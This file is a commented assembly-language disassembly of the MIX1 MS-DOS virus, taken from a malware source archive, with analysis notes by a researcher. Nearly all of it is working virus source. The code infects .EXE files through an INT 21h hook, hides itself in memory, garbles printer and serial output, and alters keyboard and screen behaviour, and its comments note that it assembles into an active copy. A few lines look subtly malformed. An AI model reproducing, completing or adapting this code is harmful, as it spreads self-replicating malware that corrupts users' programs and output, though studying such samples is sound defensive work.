MalwareSourceCode/MSDOS/M-Index/Virus.MSDOS.Unknown.mix1.asm
vxunderground 4b9382ddbc re-organize
push
2022-08-21 04:07:57 -05:00

858 lines
23 KiB
NASM

; THE MIX1 virus
;
; It was first detected in Israel in August '89.
;
; Disassembly done Sept. 24-25 '89.
;
; The author of this program is unknown, but it is clearly a
; modification of the "Icelandic" virus, with considerable
; additions
;
; All comments in this file were added by Fridrik Skulason,
; University of Iceland/Computing Services.
;
; INTERNET: frisk@rhi.hi.is
; UUCP: ...mcvax!hafro!rhi!frisk
; BIX: FRISK
;
; To anyone who obtains this file - please be careful with it, I
; would not like to see this virus be distributed too much.
;
; A short description of the virus:
;
; It only infects .EXE files. Infected files grow by ... to ... bytes.
; The virus attaches itself to the end of the programs it infects.
;
; When an infected file is run, the virus copies itself to top of
; free memory, and modifies the memory blocks, in order to hide from
; memory mapping programs. Some programs may overwrite this area,
; causing the computer to crash.
;
; The virus will hook INT 21H and when function 4B (EXEC) is called
; it sometimes will infect the program being run. It will check every
; tenth program that is run for infection, and if it is not already
; infected, it will be.
;
; The virus will remove the Read-Only attribute before trying to
; infect programs.
;
; Infected files can be easily recognized, since they always end in
; "MIX1"
;
; To check for system infection, a byte at 0:33C is used - if it
; contains 77 the virus is installed in memory.
;
;
VIRSIZ EQU 128
;
; This is the original program, just used so this file, when
; assembled, will produce an active copy.
;
_TEXT1 SEGMENT PARA PUBLIC
_START DB 0b4H,09H
PUSH CS
POP DS
MOV DX,OFFSET STRING
INT 21H
MOV AX,4C00H
INT 21H
STRING DB "Hello world!",0dh,0ah,"$"
_TEXT1 ENDS
CODE SEGMENT PARA PUBLIC 'CODE'
ASSUME CS:CODE,DS:NOTHING,SS:NOTHING,ES:NOTHING
;
; The virus is basically divided in the following parts.
;
; 1. The main program - run when an infected program is run.
; It will check if the system is already infected, and if not
; it will install the virus.
;
; 2. The new INT 17 handler. All outgoing characters will be garbled.
;
; 3. The new INT 14 handler. All outgoing characters will be garbled.
;
; 4. The new INT 8 handler.
;
; 5. The new INT 9 handler. Disables the Num-Lock key
;
; 6. The new INT 21 handler. It will look for EXEC calls, and
; (sometimes) infect the program being run.
;
; Parts 1 and 6 are almost identical to the Icelandic-1 version
;
; This is a fake MCB
;
DB 'Z',00,00,VIRSIZ,0,0,0,0,0,0,0,0,0,0,0,0
VIRUS PROC FAR
;
; The virus starts by pushing the original start address on the stack,
; so it can transfer control there when finished.
;
ABRAX: DEC SP ; This used to be SUB SP,4
DEC SP
NOP
DEC SP
DEC SP
PUSH BP
MOV BP,SP
NOP ; added
PUSH AX
NOP ; added
MOV AX,ES
;
; Put the the original CS on the stack. The ADD AX,data instruction
; is modified by the virus when it infects other programs.
;
DB 05H
ORG_CS DW 0010H
MOV [BP+4],AX
;
; Put the the original IP on the stack. This MOV [BP+2],data instruction
; is modified by the virus when it infects other programs.
;
DB 0C7H,46H,02H
ORG_IP DW 0000H
;
; Save all registers that are modified.
;
PUSH ES
PUSH DS
PUSH BX
PUSH CX
PUSH SI
PUSH DI
;
; Check if already installed. Quit if so.
;
MOV AX,0 ; Was: XOR AX,AX
MOV ES,AX
CMP ES:[33CH],BYTE PTR 077H
JNE L1
;
; Restore all registers and return to the original program.
;
EXIT: POP DI
POP SI
POP CX
POP BX
POP DS
POP ES
POP AX
POP BP
RET
;
; The virus tries to hide from detection by modifying the memory block it
; uses, so it seems to be a block that belongs to the operating system.
;
; It looks rather weird, but it seems to work.
;
L1: MOV AH,52H
INT 21H
MOV AX,ES:[BX-2]
MOV ES,AX
PUSH ES ; Two totally unnecessary instructions
POP AX ; added
ADD AX,ES:[0003]
INC AX
INC AX
MOV CS:[0001],AX
;
; Next, the virus modifies the memory block of the infected program.
; It is made smaller, and no longer the last block.
;
MOV BX,DS
DEC BX
PUSH BX ; Unnecessary addition
POP AX
MOV DS,BX
MOV AL,'M'
MOV DS:[0000],AL
MOV AX,DS:[0003]
SUB AX,VIRSIZ
MOV DS:[0003],AX
ADD BX,AX
INC BX
;
; Then the virus moves itself to the new block.
;
PUSH BX ; Was: MOV ES,BX
POP ES
MOV SI,0 ; Was: XOR SI,SI XOR DI,DI
MOV DI,SI
PUSH CS
POP DS
MOV CX,652H
CLD
REP MOVSB
;
; The virus then transfers control to the new copy of itself.
;
PUSH ES
MOV AX,OFFSET L3
PUSH AX
RET
;
; Zero some variables
;
L3: MOV BYTE PTR CS:[MIN60],0
NOP
MOV BYTE PTR CS:[MIN50],0
NOP
MOV WORD PTR CS:[TIMER],0
;
; The most nutty way to zero ES register that I have ever seen:
;
MOV BX,0FFFFH
ADD BX,3F3FH
MOV CL,0AH
SHL BX,CL
AND BX,CS:[CONST0]
MOV AX,BX
MOV ES,AX
;
; Set flag to confirm installation
;
MOV BYTE PTR ES:[33CH],77H
;
; Hook interrupt 21:
;
MOV AX,ES:[0084H]
MOV CS:[OLD21],AX
MOV AX,ES:[0086H]
MOV CS:[OLD21+2],AX
MOV AX,CS
MOV ES:[0086H],AX
MOV AX,OFFSET NEW21
MOV ES:[0084H],AX
;
; Hook interrupt 17:
;
MOV AX,ES:[005CH]
MOV CS:[OLD17],AX
MOV AX,ES:[005EH]
MOV CS:[OLD17+2],AX
MOV AX,CS
MOV ES:[005EH],AX
MOV AX,OFFSET NEW17
MOV ES:[005CH],AX
;
; Hook interrupt 14:
;
MOV AX,ES:[0050H]
MOV CS:[OLD17],AX
MOV AX,ES:[0052H]
MOV CS:[OLD14+2],AX
MOV AX,CS
MOV ES:[0052H],AX
MOV AX,OFFSET NEW14
MOV ES:[0050H],AX
;
;
;
CMP WORD PTR CS:[NOINF],5
JG HOOK9
JMP EXIT
;
; Hook interrupt 9
;
HOOK9: MOV AX,ES:[0024H]
MOV CS:[OLD9],AX
MOV AX,ES:[0026H]
MOV CS:[OLD9+2],AX
MOV AX,CS
MOV ES:[0026H],AX
MOV AX,OFFSET NEW9
MOV ES:[0024H],AX
;
; Hook interrupt 8
;
MOV AX,ES:[0020H]
MOV CS:[OLD8],AX
MOV AX,ES:[0022H]
MOV CS:[OLD8+2],AX
MOV AX,CS
MOV ES:[0022H],AX
MOV AX,OFFSET NEW8
MOV ES:[0020H],AX
JMP EXIT
;
; Video processing
;
VID: PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH DI
PUSH DS
PUSH ES
PUSH CS
POP DS
MOV AH,0FH
INT 10H
MOV AH,6
MUL AH
MOV BX,AX
MOV AX,DS:[BX+OFFSET VIDEOT]
MOV CX,DS:[BX+OFFSET VIDEOT+2]
MOV DX,DS:[BX+OFFSET VIDEOT+4]
MOV ES,DX
SHR CX,1
MOV
DI,1
CMP AX,0
JNZ V1
V0: INC WORD PTR ES:[DI]
INC DI
INC DI
LOOP V0
JMP SHORT V2
NOP
V1: NOT WORD PTR ES:[DI]
INC DI
INC DI
LOOP V1
V2: POP ES
POP DS
POP DI
POP DX
POP CX
POP BX
POP AX
RET
;
; INT 9 replacement: Just fiddle around with the NUM-LOCK etc.
; This routine does not become active until 50 minutes after
; the execution of an infected program.
;
NEW9: PUSH AX
PUSH ES
CMP BYTE PTR CS:[MIN50],1
JNZ RETX1
XOR AX,AX
MOV ES,AX ; was xxxxxxxx
AND BYTE PTR ES:[417H],0BFH ; x0xxxxxx
OR BYTE PTR ES:[417H],20H ; x01xxxxx
TEST BYTE PTR ES:[417H],0CH
JZ RETX1
IN AL,60
CMP AL,53
JNZ RETX1
AND BYTE PTR ES:[417H],0F7H
;
; This seems to be an error - the virus uses a FAR call, which will
; probably cause the computer to crash.
;
DB 9AH
DW OFFSET VID,171CH
;
; This needs more checking.
;
RETX1: POP ES
POP AX
DB 0EAH
OLD9 DW 0,0
;
; New INT 14 routine - garble all outgoing characters
;
NEW14: CMP AH,1
JZ S1
DO14: DB 0EAH
OLD14 DW 0,0
S1: PUSH BX
XOR BX,BX
MOV BL,AL
ADD BX,OFFSET ERRTAB
MOV AL,CS:[BX] ; use old character as index into table
POP BX
JMP DO14
;
; New INT 8 routine
;
NEW8: PUSH DX
PUSH CX
PUSH BX
PUSH AX
CMP BYTE PTR CS:[MIN60],01 ; If counter >= 60 min.
JZ TT0 ; No need to check any more
INC WORD PTR CS:[TIMER] ; else increment timer
CMP WORD PTR CS:[TIMER],-10 ; 60 minutes ?
JZ TT1
CMP WORD PTR CS:[TIMER],54600 ; 50 minutes ?
JZ TT2
JMP TXEX
;
; 50 minutes after an infected program is run the flag is set.
;
TT2: MOV BYTE PTR CS:[MIN50],1
NOP
JMP TXEX
;
; 60 minutes after an infected program is run we start the ball bouncing.
;
TT1: MOV BYTE PTR CS:[MIN60],1
;
; Get current cursor position and save it
;
MOV AH,3
MOV BH,0
INT 10H
MOV CS:[SCRLINE],DH
MOV CS:[SCRCOL],DL
;
; Set cursor position
;
MOV AH,2
MOV BH,0
MOV DH,CS:[MYLINE]
MOV DL,CS:[MYCOL]
INT 10H
;
; Check what is there and store it
;
MOV AH,8
MOV BH,0
INT 10H
MOV CS:[ONSCREEN],AL
;
; Set cursor position back as it was before
;
MOV AH,2
MOV BH,0
MOV DH,CS:[SCRLINE]
MOV DL,CS:[SCRCOL]
INT 10H
;
; Get current video mode and store it
;
MOV AH,0FH
INT 10H
MOV CS:[VMODE],AH
;
; Exit interrupt routine
;
JMP TXEX
;
; Every time an INT 8 occurs, after the 60 min. have passed, we
; end up here:
;
; First get current cursor position
;
TT0: MOV AH,3
MOV BH,0
INT 10H
MOV CS:[SCRLINE],DH
MOV CS:[SCRCOL],DL
;
; Then set it to last position of ball.
;
MOV AH,2
MOV BH,0
MOV DH,CS:[MYLINE]
MOV DL,CS:[MYCOL]
INT 10H
;
; Write previous character there ...
;
MOV AH,0EH
MOV AL,CS:[ONSCREEN]
MOV BX,0
INT 10H
;
;
CMP BYTE PTR CS:[UPDOWN],0
JZ T2
;
;
DEC BYTE PTR CS:[MYLINE]
JMP SHORT T3
NOP
T2: INC BYTE PTR CS:[MYLINE]
T3: CMP BYTE PTR CS:[LEFTRIGHT],0
JZ T4
DEC BYTE PTR CS:[MYCOL]
JMP SHORT T5
NOP
T4: INC BYTE PTR CS:[MYCOL]
;
; Get current video mode
;
T5: MOV AH,0FH
INT 10H
MOV CS:[VMODE],AH
MOV AL,CS:[MAXLIN]
CMP CS:[MYLINE],AL ; bottom of screen ?
JNZ T6
;
; Reached bottom - now go upwards.
;
NOT BYTE PTR CS:[UPDOWN]
T6: CMP BYTE PTR CS:[MYLINE],0 ; reached the top ?
JNZ T7
;
; Reached top - now go downwards
;
NOT BYTE PTR CS:[UPDOWN]
T7: MOV AL,CS:[VMODE]
CMP CS:[MYCOL],AL
JNZ T8
NOT BYTE PTR CS:[LEFTRIGHT]
T8: CMP BYTE PTR CS:[MYCOL],0
JNZ T9
NOT BYTE PTR CS:[LEFTRIGHT]
;
; Set cursor position to new position of ball
;
T9: MOV AH,02
MOV BH,0
MOV DH,CS:[MYLINE]
MOV DL,CS:[MYCOL]
INT 10H
;
; Get what is there and store it.
;
MOV AH,8
MOV BH,0
INT 10H
MOV CS:[ONSCREEN],AL
;
; Write character (lower case o)
;
MOV AH,0EH
MOV AL,6FH
MOV BX,0
INT 10H
;
; And restore cursor position
;
MOV AH,02
MOV BH,0
MOV DH,CS:[SCRLINE]
MOV DL,CS:[SCRCOL]
INT 10H
;
; Restore registers and quit
;
TXEX: POP AX
POP BX
POP CX
POP DX
DB 0EAH
OLD8 DW 0,0
;
; New INT 17 routine. Garble all outgoing characters.
;
NEW17: CMP AH,0
JZ P0
DO17: DB 0EAH
OLD17 DW 0,0
P0: PUSH BX
XOR BX,BX
MOV BL,AL
ADD BX,OFFSET ERRTAB
MOV AL,CS:[BX]
POP BX
JMP DO17
;
; This is the INT 21 replacement. It only does something in the case
; of an EXEC call.
;
NEW21: CMP AH,4BH
JE L5
DO21: DB 0EAH
OLD21 DW 0,0
;
; The code to only infect every tenth program has been removed
;
L5: PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DS
;
; Search for the file name extension ...
;
MOV BX,DX
L6: INC BX
CMP BYTE PTR [BX],'.'
JE L8
CMP BYTE PTR [BX],0
JNE L6
;
; ... and quit unless it starts with "EX".
;
L7: POP DS
POP SI
POP DX
POP CX
POP BX
POP AX
JMP DO21
L8: INC BX
CMP WORD PTR [BX],5845H
JNE L7
;
; When an .EXE file is found, the virus starts by turning off
; the read-only attribute. The read-only attribute is not restored
; when the file has been infected.
;
MOV AX,4300H ; Get attribute
INT 21H
JC L7
MOV AX,4301H ; Set attribute
AND CX,0FEH
INT 21H
JC L7
;
; Next, the file is examined to see if it is already infected.
; The signature (4418 5F19) is stored in the last two words.
;
MOV AX,3D02H ; Open / write access
INT 21H
JC L7
MOV BX,AX ; file handle in BX
;
; This part of the code is new: Get date of file.
;
MOV AX,5700H
INT 21H
JC L9
MOV CS:[DATE1],DX
MOV CS:[DATE2],CX
;
PUSH CS ; now DS is no longer needed
POP DS
;
; The header of the file is read in at [ID+8]. The virus then
; modifies itself, according to the information stored in the
; header. (The original CS and IP addressed are stored).
;
MOV DX,OFFSET ID+8
MOV CX,1CH
MOV AH,3FH
INT 21H
JC L9
MOV AX,DS:ID[1CH]
MOV DS:[ORG_IP],AX
MOV AX,DS:ID[1EH]
ADD AX,10H
MOV DS:[ORG_CS],AX
;
; Next the read/write pointer is moved to the end of the file-4,
; and the last 4 bytes read. They are compared to the signature,
; and if equal nothing happens.
;
MOV AX,4202H
MOV CX,-1
MOV DX,-4
INT 21H
JC L9
ADD AX,4
MOV DS:[LEN_LO],AX
JNC L8A
INC DX
L8A: MOV DS:[LEN_HI],DX
;
; This part of the virus is new - check if it is below minimum length
;
CMP DX,0
JNE L8B
MOV CL,13
SHR AX,CL
CMP AX,0
JG L8B
JMP SHORT L9
NOP
L8B: MOV AH,3FH
MOV CX,4
MOV DX,OFFSET ID+4
INT 21H
JNC L11
L9: MOV AH,3EH
INT 21H
L10: JMP L7
;
; Compare to 4418,5F19
;
L11: MOV SI,OFFSET ID+4
MOV AX,[SI]
CMP AX,494DH
JNE L12
MOV AX,[SI+2]
CMP AX,3158H
JE L9
;
; The file is not infected, so the next thing the virus does is
; infecting it. First it is padded so the length becomes a multiple
; of 16 bytes. Tis is probably done so the virus code can start at a
; paragraph boundary.
;
L12: MOV AX,DS:[LEN_LO]
AND AX,0FH
JZ L13
MOV CX,16
SUB CX,AX
ADD DS:[LEN_LO],CX
JNC L12A
INC DS:[LEN_HI]
L12A: MOV AH,40H
INT 21H
JC L9
;
; Next the main body of the virus is written to the end.
;
L13: MOV DX,0 ; Was: XOR DX,DX
MOV CX,OFFSET ID + 4
MOV AH,40H
INT 21H
JC L9
;
; Next the .EXE file header is modified:
;
JMP SHORT F0 ; some unnecessary instructions
NOP
; First modify initial IP
;
F0: MOV AX,OFFSET LABEL
MOV DS:ID[1CH],AX
;
; Modify starting CS = Virus CS. It is computed as:
;
; (Original length of file+padding)/16 - Start of load module
;
MOV DX,DS:[LEN_HI]
MOV AX,DS:[LEN_LO]
MOV CL,CS:[CONST1] ; Modified a bit
SHR DX,CL
RCR AX,CL
SHR DX,CL
RCR AX,CL
SHR DX,CL
RCR AX,CL
SHR DX,CL
RCR AX,CL
SUB AX,DS:ID[10H]
MOV DS:ID[1EH],AX
;
; Modify length mod 512
;
ADD DS:[LEN_LO],OFFSET ID+4
JNC L14
INC DS:[LEN_HI]
L14: MOV AX,DS:[LEN_LO]
AND AX,511
MOV DS:ID[0AH],AX
;
; Modify number of blocks used
;
MOV DX,DS:[LEN_HI]
MOV AX,DS:[LEN_LO]
ADD AX,511
JNC L14A
INC DX
L14A: MOV AL,AH
MOV AH,DL
SHR AX,1
MOV DS:ID[0CH],AX
;
; Finally the modified header is written back to the start of the
; file.
;
QQQ: MOV AX,4200H
MOV CX,0 ; was XOR CX,CX
AND DX,CS:[CONST0] ; was XOR DX,DX
INT 21H
JC ENDIT
MOV AH,40H
MOV DX,OFFSET ID+8
MOV CX,1CH
INT 21H
;
; This part is new: Restore old date.
;
MOV DX,CS:[DATE1]
MOV CX,CS:[DATE2]
MOV AX,5701H
INT 21H
JC ENDIT
INC WORD PTR CS:[NOINF]
;
; Infection is finished - close the file and execute it
;
ENDIT: JMP L9
;
;
DW 0
VIDEOT: DW 0000H, 07D0H, 0B800H
DW 0000H, 07D0H, 0B800H
DW 0000H, 0FA0H, 0B800H
DW 0000H, 0FA0H, 0B800H
DW 0001H, 4000H, 0B800H
DW 0001H, 4000H, 0B800H
DW 0001H, 4000H, 0B800H
DW 0000H, 0FA0H, 0B000H
DW 0001H, 3E80H, 0B000H
DW 0001H, 7D00H, 0B000H
DW 0001H, 7D00H, 0B000H
DW 0002H, 0000H, 0000H
DW 0002H, 0000H, 0000H
DW 0001H, 7D00H, 0A000H
DW 0001H, 0FA00H, 0A000H
DW 0001H, 6D60H, 0A000H
DW 0002H, 0000H. 0000H
DW 0
ERRTAB DB 00H,01H,02H,03H,04H,05H,06H,07H,08H,09H,0BH,0AH,0CH,0DH,0EH,0FH
DB 10H,11H,12H,13H,14H,15H,16H,17H,18H,19H,1BH,1AH,1CH,1DH,1FH,1EH
DB 20H,21H,22H,23H,24H,25H,26H,27H,29H,28H,2AH,2DH,2CH,2BH,2EH,2FH
DB 30H,31H,32H,33H,34H,35H,36H,37H,38H,39H,3AH,3BH,3EH,3DH,3CH,3FH
DB 40H,42H,45H,43H,44H,41H,50H,47H,48H,59H,4AH,4BH,4CH,4DH,4EH,55H
DB 46H,51H,52H,53H,54H,4FH,56H,57H,58H,49H,5AH,5DH,5CH,5BH,5EH,5FH
DB 60H,65H,62H,73H,64H,61H,70H,67H,68H,65H,6AH,6BH,6CH,6DH,6EH,75H
DB 66H,71H,72H,63H,74H,6FH,76H,77H,78H,79H,7AH,7DH,7CH,7BH,7EH,7FH
DB 92H,81H,82H,83H,84H,85H,86H,8BH,9AH,89H,8AH,87H,8CH,8DH,8EH,8FH
DB 90H,99H,80H,93H,94H,95H,96H,97H,98H,91H,88H,9BH,9CH,9DH,9EH,9FH
DB 0A0H,0A1H,0A2H,0A3H,0A4H,0A5H,0A6H,0A7H,0A8H,0A9H,0BBH,0ABH,0ACH
DB 0B0H,0B1H,0B2H,0B3H,0B4H,0B5H,0B6H,0B7H,0B8H,0B9H,0BAH,0AAH,0D9H
DB 0C8H,0C1H,0C2H,0C3H,0C4H,0C5H,0C6H,0C7H,0C0H,0A9H,0CAH,0CBH,0CCH
DB 0D0H,0D1H,0D2H,0D3H,0D4H,0D5H,0D6H,0D7H,0D8H,0BCH,0DAH,0DBH,0DCH
DB 0E0H,0E1H,0E2H,0E3H,0E4H,0E5H,0E6H,0E7H,0E8H,0E9H,0EAH,0EBH,0ECH
DB 0F0H,0F1H,0F2H,0F3H,0F4H,0F5H,0F6H,0F7H,0F8H,0F9H,0FAH,0FBH,0FCH
CONST1 DB 1 ; Just the constant 1
CONST0 DW 0 ; The label says it all
MIN60 DB 0 ; Flag, set to 1 60 minutes after execution
MIN50 DB 0 ; Flag, set to 1 50 minutes after execution
VMODE DB 0 ; Video mode
MAXLIN DB 24
MYCOL DB 0 ; Position of ball on screen
MYLINE DB 0 ; ditto.
ONSCREEN DB ? ; Previous character on the screen
UPDOWN DB 0 ; Direction of ball (up or down)
LEFTRIGHT DB 0 ; Direction (left or right)
SCRCOL DB ?
SCRLINE DB ?
DATE1 DW ? ; Date of file
DATE2 DW ? ; ditto.
TIMER DW 0 ; Number of timer (INT 8) ticks
LEN_LO DW ?
LEN_HI DW ?
NOINF DW 0 ; Number of infections
ID ABRAX WORD
DB "MIX1" ; The signature of the virus.
;
; A buffer, used for data from the file.
;
VIRUS ENDP
CODE ENDS
END ABRAX